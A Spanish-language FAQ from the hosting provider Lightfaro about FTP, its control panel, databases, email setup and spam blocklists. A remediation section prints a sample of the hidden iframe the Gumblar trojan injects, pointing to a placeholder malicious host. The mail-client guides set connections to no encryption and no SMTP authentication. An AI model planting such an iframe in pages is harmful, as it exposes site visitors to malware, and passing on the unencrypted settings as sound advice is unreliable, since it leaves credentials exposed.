Respuestas a las consultas más frecuentemente realizadas por los usuarios sobre la contratación y uso de los servicios ofrecidos por Lightfaro hosting • FAQs web hosting

Usted podrá subir archivos al servidor utilizando cualquiera de los siguientes programas para transferencia FTP (haga clic para acceder al sitio web):

FileZilla (Gratuito)  
CuteFTP (Versión de prueba)  
WinSCP (Gratuito)  
Fetch (Versión de prueba)  

Cualquiera sea el programa de su preferencia, usted necesitará los siguientes datos referentes a su servicio de web hosting para configurar la conexión FTP.

1. Dirección del Host de dominio, Host address o Host name server
   Ahí deberá colocar el Nº de dirección IP, el nombre del dominio o el nombre del dominio con el prefijo ftp. en lugar de www.
   
   
2. Nombre de usuario, User name o User ID
   Aquí deberá colocar el nombre de usuario que se asignó al servicio, cuando le enviamos los datos de acceso. Es el nombre que comienza con el prefijo uv seguido de seis números (uvXXXXXX).
   
   
3. Contraseña, Clave o Password
   Aquí deberá colocar la contraseña que se asignó originalmente al servicio, o bien la que corresponda en caso de haberla modificado. Esta contraseña es la misma que utiliza para acceder al Panel de Control DCM y Bases de datos.

Utilice siempre la extensión .html en lugar de .htm en las páginas de su sitio. Esto no aplica en páginas con la extensión .php, .asp, .xhtml, etc.

En el mismo momento que usted sube cualquier archivo desde su equipo al servidor (suponiendo que la transferencia fue satisfactoria) ese archivo ya se encuentra disponible para su visualización online. Vale decir que no existe ninguna demora entre el proceso de subida y el posterior acceso al archivo.

En caso de estar seguro de haber subido los archivos dentro de la carpeta public_html y que aún así sigan sin mostrarse actualizados, el problema tiene que ver los proveedores de Internet (Fibertel, Speedy, Arnet, etc.) guardan la caché (memoria) de los sitios durante al menos 48hs., generando este tipo de inconvenientes completamente ajenos al servicio de web hosting.

En el caso de las imágenes (archivos JPG, PNG, GIF, BMP, TIFF) existe la alternativa de borrar la memoria interna, presionando las teclas Ctrl + F5, o bien eliminando por completo los archivos temporales y dependencias del navegador que esté utilizando.

En caso de visualizar la siguiente leyenda al intentar acceder a una página:

Utilizando Internet Explorer:

Utilizando Firefox:

Por favor revise las siguientes soluciones posibles:

• Asegúrese de que existe una página principal llamada index.html, o index.php, o index.asp, etc. Evite utilizar index.htm
  
  
• Asegúrese de haber nombrado a la página principal utilizando solamente minúsculas. Evite nombrar a la página como Index.html, INDEX.html, etc.
  
  
• Asegúrese de haber subido los archivos dentro de la carpeta public_html del servidor.

Si las páginas de resultados de Google con su sitio muestran esta leyenda, su web fue atacada por un Malware/Virus llamado Gumblar, el cual tiene como objetivo infectar las páginas para que el buscador las identifique como peligrosas y bloquee el acceso a las mismas.

Este troyano aprovecha algunos agujeros de seguridad y accede a los registros de programas FTP como FileZilla, Dreamweaver, CuteFTP, etc., robando las contraseñas de acceso e insertando código malicioso en las páginas sin que el usuario pueda darse cuenta.

Este código malicioso se inserta como un iframe, redireccionando automáticamente al usuario a la página que contiene el virus, además de bloquear las opciones del navegador de Internet que se esté utilizando. El código insertado por el Gumblar tiene una estructura similar a esta:

<iframe src=http://sitio-malicioso.xxx width=109 height=147 style=visibility: hidden />

Es importante que lo identifique para eliminarlo por completo de todas las páginas, en caso de no contar con un backup del sitio.

Si bien el código puede borrarse de las páginas, el virus volverá a infectar el sitio ya que el acceso FTP ha sido afectado y el código se escribirá nuevamente al conectarse al servidor por FTP.

Está comprobado por todos los fabricantes de anti-virus que este problema no reside en el servicio de web hosting, sino que se trata de una infección en el propio equipo del usuario.

Para solucionar este problema, realice los siguientes pasos:

1. Examine su sitio por completo y elimine el código malicioso antes indicado. Puede utilizar un backup con la versión más reciente, siempre que no existan archivos infectados.
   
   
2. Realice un escaneo completo con algún anti-virus y/o anti-spyware para remover el Gumblar de su equipo. Puede utilizar Malwarebytes, una aplicación que detecta la infección con este virus, accediendo a www.infospyware.com/antispyware/malwarebytes-antimalware/
   
   
3. Acceda al Panel de Control DCM de su sitio y cambie la contraseña de acceso general al sitio y la de las cuentas FTP extra en el caso de que existan.
   
   
4. Suba nuevamente su sitio al servidor, asegurándose que no haya código malicioso en ninguna página.
   
   
5. Por último, deberá informar a Google para que elimine la calificación de contenido malicioso. Acceda a las Herramientas para Webmasters de Google en www.google.com/webmasters/tools/ utilizando una cuenta de Gmail para ingresar al sistema.
   
   
6. Para continuar, Google solicitará que valide su sitio previamente. Puede encontrar más información sobre este proceso visitando www.google.com/support/webmasters/bin/answer.py?answer=35658.
   
   
7. Haga clic en Diagnósticos para desplegar las opciones.
   
   
8. Seleccione la opción Software malintencionado.
   
   
9. Por último, haga clic en Solicitar una revisión para iniciar el proceso de reconsideración. Una vez que Google examine su sitio y compruebe que no existe ningún código malicioso, volverá a mostrarlo normalmente en las páginas de resultados de las búsquedas.

Para ver información adicional acerca de la revisión de su sitio en las Herramientas para Webmasters de Google, visite www.google.com/support/webmasters/bin/answer=163634

Se denomina transferencia a la información que genera su sitio web durante el tráfico de archivos (páginas web, imágenes, documentos de texto, etc.). Este tráfico es generado cada vez que un usuario visita su sitio web, o bien durante la gestión de archivos FTP desde el servidor.

Teniendo en cuenta que en promedio, cada visitante que accede a un sitio consume alrededor de 100KB, nuestro plan de web hosting Inicial contempla 20GB de transferencia, es decir más de 200.000 usuarios mensuales. Vale decir que en principio no debería preocuparse por el límite de transferencia, salvo que se trate de un sitio con alto volumen de visitas y/o descarga de archivos, portales digitales, etc.

Usted podrá acceder desde cualquier navegador de Internet utilizando la siguiente dirección:

www.sitio.com/dcm

Tenga en cuenta que deberá reemplazar sitio.com por el nombre de dominio de su sitio.

El sistema solicitará un nombre de usuario y una contraseña para acceder a la página. Estos datos son los que le enviamos al momento de dar de alta el servicio de web hosting, y coinciden con los datos de acceso FTP. El Usuario es el que comienza con el prefijo uv seguido de seis números (uvXXXXXX) y la contraseña es la que se asignó originalmente, o bien la que corresponda en caso de haberla modificado.

Asegúrese de respetar las mayúsculas y minúsculas en la contraseña, así como evitar espacios vacíos si utiliza la función Copiar/Pegar.

Si los datos son correctos, ya estará listo para utilizar todas las herramientas y utilidades del Panel de Control.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en la opción
   
   
3. En la parte derecha de la pantalla, ingrese la nueva clave dos veces, para asegurarse que no haya errores. En el campo de Notificación podrá indicar un e-mail en el cual ser notificado acerca del cambio, pero no es necesario completarlo.
   
   
4. Haga clic en el botón para actualizar la contraseña de acceso al sitio.

Tenga en cuenta que esta modificación afecta el acceso al Panel de Control DCM, FTP, Bases de datos, Telnet y/o CGIs que utilicen la contraseña para cualquier tipo de acceso al sitio.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Usted cuenta con dos programas diferentes para analizar las estadísticas de uso de su sitio web: Webalizer y Awstats. Seleccione la herramienta que sea de su preferencia.
   
   

Al acceder a una u otra aplicación, podrá ver información muy importante acerca del comportamiento de su sitio, con la posibilidad de ordenar las estadísticas de forma diaria y/o mensual. Entre otros datos, usted podrá conocer la cantidad de visitantes de su sitio web, las páginas más visitadas, los archivos más descargados, la ubicación geográfica de los visitantes, etc.

Esta utilidad le permite generar un acceso alternativo al servidor completamente independiente del usuario principal, manteniendo las mismas funcionalidades de cualquier conexión FTP.

Para crear una cuenta FTP extra, acceda al Panel de Control DCM y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en la opción
   
   
3. Defina el nombre de usuario y la contraseña que desea asignarle a la cuenta FTP extra. Recuerde no dejar espacios vacíos ni utilizar caracteres especiales (ñ, á, é, í, etc.), además de respetar el uso de mayúsculas y minúsculas en la contraseña. Tenga en cuenta que esos serán los datos de acceso que se utilizarán para conectarse a través de FTP.
   
   
4. En la opción Carpeta a crear, ingrese public_html/ y luego el nombre de la carpeta donde desea que se almacene la información subida por el usuario. Por ejemplo, si queremos que el usuario acceda a una carpeta llamada archivos, la ruta quedaría de la siguiente forma: public_html/archivos
   
   
5. En la opción Cómo carpeta Pública? seleccione NO.
   
   
6. Por último, en la opción Quota de Disco, determine el espacio que le asignará al usuario en el servidor. Por ejemplo, si se asignan 100MB como máximo, el usuario no podrá superar esa capacidad para la subida de archivos y el servidor no aceptará nuevas transferencias hasta que se libere espacio.

Si al momento de definir el nombre de usuario para la cuenta FTP extra el sistema indica que el usuario ya existe, por favor intente utilizar otro nombre de usuario.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en el ícono [+] de la carpeta
   
   
4. Haga clic en la opción
   
   
5. En la parte derecha de la pantalla, defina el nombre de la base de datos que está creando.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en la opción
   
   
4. En la parte derecha de la pantalla, seleccione la base de datos que desea copiar indicando si desea el backup de la Estructura y Datos, o solamente de los Datos.
   
   
5. Por último, el sistema le informará el enlace de descarga para guardar el backup de la base en su equipo.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en la opción
   
   
4. En la parte derecha de la pantalla, realice las siguientes acciones: indique el nombre de usuario y la contraseña, luego seleccione la base de datos a la cual tendrá acceso el usuario, finalmente, seleccione si el acceso será del tipo Local o Local y Remoto.
   
   
5. Por último, haga clic en el botón
   
   El sistema procesará el pedido y confirmará la creación del nuevo usuario MySQL.

Este tipo de archivos están directamente relacionados con la seguridad del servidor, con lo cual por defecto, no está permitida la edición de .htaccess desde la conexión FTP.

Para editar un archivo .htaccess, acceda al Panel de Control DCM y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en la opción
   
   
3. En la parte derecha de la pantalla, el sistema le permitirá crear un nuevo archivo .htaccess. También podrá editar y eliminar otros archivos ya creados.
   
   

Otra opción es modificar la configuración por defecto, deshabilitando el Mod_Securiry. Dicho módulo provee protección contra diversos ataques hacia aplicaciones web, por lo que le recomendamos fuertemente que no lo desactive.

En caso de haber desactivado el Mod_Security y desee reactivarlo nuevamente, deberá borrar las líneas que van desde "#BEGIN MOD_SECURITY" hasta "#END MOD_SECURITY".

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en el ícono [+] de la carpeta
   
   
4. Haga clic en el ícono [+] de la carpeta
   
   
5. Haga clic en la opción

Recuerde que para que los MX funcionen correctamente, previamente deberá crear la cuenta de correo y realizar la configuración solicitada por Google.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en la opción
   
   
4. En la parte derecha de la pantalla, ubique el enlace
   y selecciónelo para acceder a la pantalla siguiente.
   
   
5. Defina el nombre de la cuenta, evitando usar mayúsculas y caracteres especiales (ñ, á, é, í, etc.).
   
   Defina la contraseña de la cuenta, respetando el uso de mayúsculas y minúsculas. Recuerde que la contraseña es independiente para cada cuenta de correo y no queda registro en el servidor, con lo cual en caso de pérdida u olvido de la misma, deberá asignar una nueva clave desde el Panel de Control DCM.
   
   
6. Por último, haga clic en el botón
   
   El sistema generará un aviso de confirmación con otros datos referidos a la cuenta de correo recién creada. Es muy importante que guarde esa información, ya que será necesaria posteriormente para la recepción y envío de mensajes.
   
   

Para chequear los e-mails, usted podrá configurar su cuenta en cualquier programa de correo como Outlook, Windows Mail, Thunderbird, Entourage, etc., o bien acceder desde el Webmail (ej.: www.sitio.com/webmail), simplemente ingresando el nombre de la cuenta y la contraseña. También podrá configurar su correo en cualquier dispositivo móvil o Smartphone que disponga de acceso POP y SMTP.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en la opción
   
   
4. En la parte derecha de la pantalla, el sistema le permite elegir en que cuenta desea realizar el cambio de contraseña y solicita el ingreso de la nueva clave dos veces, para asegurarse que no haya errores.
   
   
5. Por último, haga clic en el botón
   
   Inmediatamente, la contraseña de la cuenta de correo se habrá actualizado.
   
   

Tenga en cuenta que el cambio de contraseña afecta el acceso a la cuenta de correo utilizando el Webmail o cualquier programa como Outlook, Windows Mail, Thunderbird, Entourage, etc.

El alias le permite direccionar mensajes a una cuenta de e-mail con el nombre de su sitio, para que usted los chequee desde una cuenta de correo de otro proveedor (Gmail, Hotmail, Yahoo!, etc.) o inclusive del propio dominio.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en la opción
   
   
4. Defina que cuenta de correo con su dominio funcionará como alias, y debajo coloque en que e-mail desea recibir los mensajes enviados.

Tenga en cuenta que esta utilidad funciona solamente si el alias no coincide con una cuenta de correo POP3 ya existente en el sistema. Por ejemplo, si usted previamente creó una cuenta POP con el nombre info@sitio.com, no será posible agregar un alias que apunte a esa misma cuenta.

Con esta herramienta, usted podrá acceder a su cuenta de correo en cualquier momento y desde cualquier ubicación geográfica, sin que sea necesario tener la cuenta sincronizada en algún programa de correo o realizar otro tipo de configuración previa. Sólo será necesario que cuente con acceso a Internet.

Para acceder al webmail, utilice cualquier navegador de Internet y coloque la dirección de su sitio seguida de /webmail, por ejemplo www.sitio.com/webmail

Una vez allí, simplemente coloque su usuario (o la cuenta de e-mail completa) y la contraseña de acceso.

Tenga en cuenta que si habitualmente utiliza algún programa para chequear correo (Outlook, Windows Mail, Thunderbird, Entourage, etc.) estos programas eliminan los mensajes del webmail luego de ser descargados en su equipo.

Para evitar este inconveniente, puede configurar sus cuentas de correo como IMAP, o bien seleccionar la opción Guardar una copia de los mensajes en el servidor en la configuración avanzada del programa de correo.

Cada cuenta de correo tiene un límite de 250MB en webmail y en caso de superar este límite, todos los mensajes que reciba esa cuenta serán rebotados. Para mantener el webmail limpio y sólo con los correos que sean de su interés, acceda periódicamente y elimine los mensajes más antiguos o aquellos con adjuntos pesados.

Si habitualmente utiliza algún programa para chequear correo, puede activar la opción Quitar del servidor al eliminar de Elementos eliminados en la configuración avanzada de la cuenta. De esta forma, cuando vacíe la papelera de su programa de correo, esos mensajes también serán eliminados del webmail.

Acceda al Panel de Control DCM de su sitio y realice los siguientes pasos:

1. Haga clic en el ícono [+] de la carpeta para desplegar las opciones.
   
   
2. Haga clic en el ícono [+] de la carpeta
   
   
3. Haga clic en la opción

En la parte derecha de la pantalla, el sistema le permite elegir la cuenta que recibirá los mensajes entrantes. Debajo, en la opción Cuentas múltiples, deberá colocar las cuentas de correo que desee verificar, incluyendo la propia cuenta que recibirá una copia. Por ejemplo, para que la cuenta info@sitio.com reciba copia de los mensajes enviados a otras cuentas, deberá agregar ese e-mail además de los que desee verificar.

Con la finalidad de evitar el envío masivo de mensajes (SPAM), algunos proveedores de Internet (Fibertel, Speedy, Arnet, etc.) bloquean el puerto 25, para los servidores de correo saliente ajenos a su influencia.

Para ofrecerle una solución ante este inconveniente, hemos habilitado el puerto 587 para uso alternativo del correo saliente (SMTP). Usted podrá configurar el puerto alternativo accediendo a la configuración avanzada del programa de correo (Outlook, Windows Mail, Thunderbird, Entourage, etc.) y modificar el puerto de salida 25 por el 587.

Ver configuracion del Puerto 587

De todos modos, es recomendable que se contacte con su proveedor de Internet para solicitar el normal uso del puerto 25 para el envío de correos, o bien solicitarle mayor información acerca del uso de sus servidores de correo saliente.

En caso de recibir la siguiente leyenda luego de enviar un e-mail:

"IP [XXX.XXX.XXX.XXX.] (may be forged)"

o

"Relaying denied. IP name possibly forged [XXX.XXX.XXX.XXX]"

Se debe a que la dirección IP de su conexión a Internet ha sido bloqueada por Spamhaus, una de las entidades dedicadas a regular el SPAM a nivel mundial.

Esto no significa que usted o su sitio hayan sitio sancionados, pero si la IP de su conexión a Internet (Fibertel, Speedy, Arnet, etc.). Es decir que usted estará imposibilitado de enviar correos hacia ciertos dominios mientras la IP de su proveedor no sea removida de la lista de Spamhaus.

Para quitar el bloqueo de la IP de su conexión a Internet, realice los siguientes pasos:

1. Acceda a www.topwebhosts.org/tools/ip-locator.php para verificar el número de su dirección IP.
   
   
2. Ingrese a www.spamhaus.org/lookup.lasso y coloque la dirección IP verificada en el paso anterior. Luego presione el botón Lookup.
   
   
3. Si su dirección IP se encuentra marcada como SPAM, se mostrará en color rojo. En ese caso, haga clic en el enlace correspondiente (ej.: PBL283201).
   
   
4. Haga clic en el botón Remove Ip from PBL.
   
   
5. Seleccione la opción I have read and I have understood this page y luego oprima Remove Ip address.
   
   
6. Complete el formulario con sus datos (utilice un e-mail válido) y haga clic en Submit.
   
   
7. Luego de algunos minutos, recibirá un correo en la cuenta que haya indicado para confirmar el pedido de desbloqueo de la dirección IP. Haga clic en el enlace correspondiente para iniciar el trámite.
   
   

A partir de ese momento, se estima un plazo de 40 a 120 minutos para que la IP sea desbloqueada y usted pueda volver a enviar correos normalmente.

Tenga en cuenta que el desbloqueo de IP depende exclusivamente de Spamhaus, y por lo tanto no somos responsables por el plazo transcurrido hasta la conclusión satisfactoria del trámite.

Acceda al programa y realice los siguientes pasos:

1. En el menú superior, acceda a Herramientas y luego Configuración de la cuenta.
   
   
2. Haga clic en el botón Nuevo y luego elija POP3.
   Ver pantalla
   
   
3. Seleccione la opción de configuración manual de los servidores.
   Ver pantalla
   
   
4. Seleccione la opción Correo electrónico de Internet.
   Ver pantalla
   
   
5. Complete su nombre, tal como se mostrará al enviar mensajes y la dirección de correo.
   
   En la información del servidor seleccione el Tipo de cuenta POP3 y luego, en Servidor de correo entrante coloque el servidor pop3, por ejemplo: pop3.misitio.com y en Servidor de correo saliente, ingrese el servidor smtp, por ejemplo: smtp.sitio.com.
   
   En Información de inicio de sesión, deberá escribir el usuario que asignó el sistema al momento de crear la cuenta en el Panel de Control DCM y debajo, ingresar la contraseña asignada a esa cuenta de correo. Recuerde que cada e-mail tiene una contraseña personalizada.
   Ver pantalla
   
   
6. En caso de haber realizado correctamente los pasos anteriores, ya podrá comenzar a utilizar su cuenta de correo.

Es muy importante que en las opciones avanzadas de la cuenta, active la opción Dejar copia de mensajes en el servidor. También puede activar la opción Quitar del servidor al eliminar de Elementos eliminados en la configuración avanzada de la cuenta. De esta forma, cuando vacíe la papelera de su programa de correo, esos mensajes también serán eliminados del webmail.

Acceda al programa y realice los siguientes pasos:

1. En caso que el asistente no se ejecute, seleccione la opción Agregar cuenta de correo.
   Ver pantalla
   
   
2. Complete la dirección de correo, la contraseña asignada a la cuenta y su nombre, tal como se mostrará al enviar mensajes.
   Ver pantalla
   
   
3. En Servidor de correo entrante seleccione POP y coloque el servidor pop3, por ejemplo: pop3.misitio.com
   
   En la opción Id de inicio de sesión deberá escribir el usuario que asignó el sistema al momento de crear la cuenta en el Panel de Control DCM.
   
   En Servidor de correo saliente deberá indicar el servidor smtp, por ejemplo: smtp.sitio.com.
   Ver pantalla
   
   
4. En caso de haber realizado correctamente los pasos anteriores, ya podrá comenzar a utilizar su cuenta de correo.

Es muy importante que en las opciones avanzadas de la cuenta, active la opción Dejar copia de mensajes en el servidor. También puede activar la opción Quitar del servidor al eliminar de Elementos eliminados en la configuración avanzada de la cuenta. De esta forma, cuando vacíe la papelera de su programa de correo, esos mensajes también serán eliminados del webmail.

Acceda al programa y realice los siguientes pasos:

1. En el menú superior, acceda a Herramientas y luego Cuentas.
   
   
2. Presione el botón Agregar y luego Correo.
   
   
3. Complete su nombre tal como se mostrará al enviar correos.
   Ver pantalla
   
   
4. Ingrese la dirección de e-mail.
   Ver pantalla
   
   
5. En la opción Servidor de correo entrante deberá completar el servidor pop3, por ejemplo: pop3.misitio.com. En Servidor de correo saliente, deberá indicar el servidor smtp, por ejemplo: smtp.sitio.com.
   Ver pantalla
   
   
6. En el campo Nombre de la cuenta, deberá escribir el usuario que asignó el sistema al momento de crear la cuenta en el Panel de Control DCM. Luego ingrese la contraseña asignada a esa cuenta de correo.
   Ver pantalla
   
   
7. En caso de haber realizado correctamente los pasos anteriores, ya podrá comenzar a utilizar su cuenta de correo.

Es muy importante que en las opciones avanzadas de la cuenta, active la opción Dejar copia de mensajes en el servidor. También puede activar la opción Quitar del servidor al eliminar de Elementos eliminados en la configuración avanzada de la cuenta. De esta forma, cuando vacíe la papelera de su programa de correo, esos mensajes también serán eliminados del webmail.

Acceda al programa y realice los siguientes pasos:

1. Con Apple Mail en ejecución, en el menú de aplicaciones seleccione Preferencias...
   Ver pantalla
   
   
2. Haga clic en Cuentas, en la parte superior de la ventana y luego seleccione Añadir Cuenta (+).
   Ver pantalla
   
   
3. Complete con su nombre, la dirección de correo electrónico y la contraseña.
   Ver pantalla
   
   
4. En el tipo de la cuenta, seleccione POP.
   
   En la opción Servidor de correo entrante deberá completar el servidor pop3, por ejemplo: pop3.misitio.com.
   
   En el campo Nombre de usuario, deberá escribir el usuario que asignó el sistema al momento de crear la cuenta en el Panel de Control DCM. Luego ingrese la contraseña asignada a esa cuenta de correo.
   Ver pantalla
   
   
5. En el campo Servidor de correo saliente deberá indicar el servidor smtp, por ejemplo: smtp.sitio.com
   Ver pantalla
   
   
6. En Autenticación del correo saliente, seleccione Ninguno.
   Ver pantalla
   
   
7. Por último, en caso que los datos ingresados sean correctos, presione el botón Crear para comenzar a utilizar su cuenta de correo.
   Ver pantalla

Es muy importante que en las opciones avanzadas de la cuenta, active la opción Dejar copia de mensajes en el servidor.

Acceda al programa y realice los siguientes pasos:

1. En el menú superior, acceda a Herramientas y luego seleccione Configuración de cuentas...
   
   
2. En el cuadro de dialogo Configuración de la cuenta, seleccione Añadir cuenta de correo...
   Ver pantalla
   
   
3. En la ventana emergente, complete su nombre, dirección de correo electrónico y contraseña. Luego presione el botón Continuar.
   Ver pantalla
   
   
4. Si bien el programa realiza una búsqueda automática para configurar la cuenta, es recomendable hacer clic en el botón Editar.
   Ver pantalla
   
   
5. En la opción de correo entrante deberá completar el servidor pop3, por ejemplo: pop3.misitio.com. En el correo saliente, deberá indicar el servidor smtp, por ejemplo: smtp.sitio.com.
   
   Luego haga clic en el botón Configuración manual.
   Ver pantalla
   
   
6. En el campo Nombre de usuario, deberá escribir el usuario que asignó el sistema al momento de crear la cuenta en el Panel de Control DCM.
   
   En el campo Seguridad de la conexión seleccione la opción Ninguna.
   Ver pantalla
   
   
7. Acceda a la opción Servidor de Salida (SMTP) y presione el botón Editar.
   
   En el campo Seguridad de la conexión seleccione Ninguna y en el campo Método de identificación seleccione Sin identificación.
   Ver pantalla
   
   
8. Por último, el programa mostrará una descripción de todos los datos ingresados anteriormente. En caso de ser correctos, presione el botón Aceptar para comenzar a utilizar su cuenta de correo.